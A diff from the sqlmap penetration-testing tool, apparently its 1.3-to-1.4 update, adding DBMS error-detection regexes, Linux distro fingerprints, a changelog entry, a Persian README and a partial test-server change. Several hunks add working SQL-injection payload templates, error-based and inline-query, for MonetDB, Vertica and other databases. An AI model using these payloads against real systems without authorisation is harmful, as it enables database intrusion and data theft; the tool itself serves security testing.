||||||
<regexp value="CentOS">
|
<regexp value="CentOS">
|
||||||
<info type="Linux" distrib="CentOS"/>
|
<info type="Linux" distrib="CentOS"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
@@ -115,10 +119,22 @@
|
|||||||
<info type="Linux" distrib="Mandrake"/>
|
<info type="Linux" distrib="Mandrake"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Manjaro">
|
||||||
|
<info type="Linux" distrib="Manjaro"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Mandriva">
|
<regexp value="Mandriva">
|
||||||
<info type="Linux" distrib="Mandriva"/>
|
<info type="Linux" distrib="Mandriva"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bMint\b">
|
||||||
|
<info type="Linux" distrib="Mint"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bPuppy\b">
|
||||||
|
<info type="Linux" distrib="Puppy"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Red[\-\_\ ]?Hat">
|
<regexp value="Red[\-\_\ ]?Hat">
|
||||||
<info type="Linux" distrib="Red Hat"/>
|
<info type="Linux" distrib="Red Hat"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|||||||
+64
-16
@@ -1,13 +1,14 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- MySQL -->
|
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
<error regexp="SQL syntax.*?MySQL"/>
|
<error regexp="SQL syntax.*?MySQL"/>
|
||||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||||
<error regexp="MySQLSyntaxErrorException"/>
|
<error regexp="MySQLSyntaxErrorException"/>
|
||||||
<error regexp="valid MySQL result"/>
|
<error regexp="valid MySQL result"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
|
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc"/>
|
<error regexp="com\.mysql\.jdbc"/>
|
||||||
@@ -15,9 +16,11 @@
|
|||||||
<error regexp="Pdo[./_\\]Mysql"/>
|
<error regexp="Pdo[./_\\]Mysql"/>
|
||||||
<error regexp="MySqlException"/>
|
<error regexp="MySqlException"/>
|
||||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||||
|
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||||
|
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||||
|
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- PostgreSQL -->
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<error regexp="PostgreSQL.*?ERROR"/>
|
<error regexp="PostgreSQL.*?ERROR"/>
|
||||||
<error regexp="Warning.*?\Wpg_"/>
|
<error regexp="Warning.*?\Wpg_"/>
|
||||||
@@ -33,7 +36,6 @@
|
|||||||
<error regexp="PSQLException"/>
|
<error regexp="PSQLException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft SQL Server -->
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||||
<error regexp="OLE DB.*? SQL Server"/>
|
<error regexp="OLE DB.*? SQL Server"/>
|
||||||
@@ -55,7 +57,6 @@
|
|||||||
<error regexp="SQL(Srv|Server)Exception"/>
|
<error regexp="SQL(Srv|Server)Exception"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft Access -->
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||||
<error regexp="JET Database Engine"/>
|
<error regexp="JET Database Engine"/>
|
||||||
@@ -64,7 +65,6 @@
|
|||||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
|
||||||
<dbms value="Oracle">
|
<dbms value="Oracle">
|
||||||
<error regexp="\bORA-\d{5}"/>
|
<error regexp="\bORA-\d{5}"/>
|
||||||
<error regexp="Oracle error"/>
|
<error regexp="Oracle error"/>
|
||||||
@@ -79,7 +79,6 @@
|
|||||||
<error regexp="OracleException"/>
|
<error regexp="OracleException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- IBM DB2 -->
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
@@ -89,9 +88,9 @@
|
|||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
<error regexp="DB2Exception"/>
|
<error regexp="DB2Exception"/>
|
||||||
|
<error regexp="ibm_db_dbi\.ProgrammingError"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Informix -->
|
|
||||||
<dbms value="Informix">
|
<dbms value="Informix">
|
||||||
<error regexp="Warning.*?\Wifx_"/>
|
<error regexp="Warning.*?\Wifx_"/>
|
||||||
<error regexp="Exception.*?Informix"/>
|
<error regexp="Exception.*?Informix"/>
|
||||||
@@ -111,7 +110,6 @@
|
|||||||
<error regexp="Pdo[./_\\]Firebird"/>
|
<error regexp="Pdo[./_\\]Firebird"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SQLite -->
|
|
||||||
<dbms value="SQLite">
|
<dbms value="SQLite">
|
||||||
<error regexp="SQLite/JDBCDriver"/>
|
<error regexp="SQLite/JDBCDriver"/>
|
||||||
<error regexp="SQLite\.Exception"/>
|
<error regexp="SQLite\.Exception"/>
|
||||||
@@ -126,15 +124,15 @@
|
|||||||
<error regexp="SQLiteException"/>
|
<error regexp="SQLiteException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SAP MaxDB -->
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||||
<error regexp="DriverSapDB"/>
|
<error regexp="DriverSapDB"/>
|
||||||
|
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||||
|
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Sybase -->
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<error regexp="Warning.*?\Wsybase_"/>
|
<error regexp="Warning.*?\Wsybase_"/>
|
||||||
<error regexp="Sybase message"/>
|
<error regexp="Sybase message"/>
|
||||||
@@ -144,7 +142,6 @@
|
|||||||
<error regexp="com\.sybase\.jdbc"/>
|
<error regexp="com\.sybase\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Ingres -->
|
|
||||||
<dbms value="Ingres">
|
<dbms value="Ingres">
|
||||||
<error regexp="Warning.*?\Wingres_"/>
|
<error regexp="Warning.*?\Wingres_"/>
|
||||||
<error regexp="Ingres SQLSTATE"/>
|
<error regexp="Ingres SQLSTATE"/>
|
||||||
@@ -152,21 +149,72 @@
|
|||||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Frontbase -->
|
<dbms value="FrontBase">
|
||||||
<dbms value="Frontbase">
|
|
||||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||||
<error regexp="com\.frontbase\.jdbc"/>
|
<error regexp="com\.frontbase\.jdbc"/>
|
||||||
|
<error regexp="Syntax error 1. Missing"/>
|
||||||
|
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- HSQLDB -->
|
|
||||||
<dbms value="HSQLDB">
|
<dbms value="HSQLDB">
|
||||||
<error regexp="Unexpected end of command in statement \["/>
|
<error regexp="Unexpected end of command in statement \["/>
|
||||||
<error regexp="Unexpected token.*?in statement \["/>
|
<error regexp="Unexpected token.*?in statement \["/>
|
||||||
<error regexp="org\.hsqldb\.jdbc"/>
|
<error regexp="org\.hsqldb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- H2 -->
|
|
||||||
<dbms value="H2">
|
<dbms value="H2">
|
||||||
<error regexp="org\.h2\.jdbc"/>
|
<error regexp="org\.h2\.jdbc"/>
|
||||||
|
<error regexp="\[42000-192\]"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MonetDB">
|
||||||
|
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||||
|
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||||
|
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Apache Derby">
|
||||||
|
<error regexp="Syntax error: Encountered"/>
|
||||||
|
<error regexp="org\.apache\.derby"/>
|
||||||
|
<error regexp="ERROR 42X01"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Vertica">
|
||||||
|
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||||
|
<error regexp="/vertica/Parser/scan"/>
|
||||||
|
<error regexp="com\.vertica\.jdbc"/>
|
||||||
|
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
|
||||||
|
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Mckoi">
|
||||||
|
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||||
|
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||||
|
<error regexp="<REGEX_LITERAL>"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Presto">
|
||||||
|
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||||
|
<error regexp="io\.prestosql\.jdbc"/>
|
||||||
|
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||||
|
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Altibase">
|
||||||
|
<error regexp="Altibase\.jdbc\.driver"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MimerSQL">
|
||||||
|
<error regexp="com\.mimer\.jdbc"/>
|
||||||
|
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="CrateDB">
|
||||||
|
<error regexp="io\.crate\.client\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Cache">
|
||||||
|
<error regexp="encountered after end of query"/>
|
||||||
|
<error regexp="A comparison operator is required here"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -704,6 +704,82 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MonetDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MonetDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Vertica AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Vertica</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Vertica</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
|
|||||||
@@ -3,19 +3,31 @@
|
|||||||
<root>
|
<root>
|
||||||
<!-- Inline queries tests -->
|
<!-- Inline queries tests -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL inline queries</title>
|
<title>Generic inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>1</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
|
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL inline queries</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8</clause>
|
||||||
|
<where>3</where>
|
||||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
<request>
|
<request>
|
||||||
<!-- These work as good as ELT(), but are longer
|
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
-->
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -28,7 +40,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL inline queries</title>
|
<title>PostgreSQL inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -47,13 +59,13 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -74,7 +86,8 @@
|
|||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||||
|
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -93,7 +106,7 @@
|
|||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
|||||||
+803
-51
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,8 @@
|
|||||||
|
# Version 1.4 (2020-01-01)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
|
||||||
|
|
||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
|||||||
@@ -0,0 +1,84 @@
|
|||||||
|
# sqlmap 
|
||||||
|
|
||||||
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
|
||||||
|
|
||||||
|
|
||||||
|
عکس
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
|
||||||
|
|
||||||
|
|
||||||
|
نصب
|
||||||
|
----
|
||||||
|
|
||||||
|
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
||||||
|
|
||||||
|
|
||||||
|
طرز استفاده
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -h
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -hh
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
||||||
|
|
||||||
|
|
||||||
|
لینکها
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
* خانه: http://sqlmap.org
|
||||||
|
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
|
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
|
|||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
python sqlmap.py -h
|
sqlmap -h
|
||||||
|
|
||||||
To get a list of all options and switches use:
|
To get a list of all options and switches use:
|
||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
python sqlmap.py -hh
|
sqlmap -hh
|
||||||
|
|
||||||
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
||||||
get an overview of sqlmap capabilities, list of supported features and
|
get an overview of sqlmap capabilities, list of supported features and
|
||||||
|
|||||||
@@ -191,8 +191,27 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
length = int(self.headers.get("Content-length", 0))
|
length = int(self.headers.get("Content-length", 0))
|
||||||
if length:
|
if length:
|
||||||
data = self.rfile.read(length)
|
data = self.rfile.read(length)
|
||||||
data = unquote_plus(data.decode(UNICODE_ENCODING))
|
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
|
||||||
self.data = data
|
self.data = data
|
||||||
|
elif self.headers.get("Transfer-encoding") == "chunked":
|
||||||
|
data, line = b"", b""
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
while True:
|
||||||
|
line += self.rfile.read(1)
|
||||||
|
if line.endswith(b'\n'):
|
||||||
|
if count % 2 == 1:
|
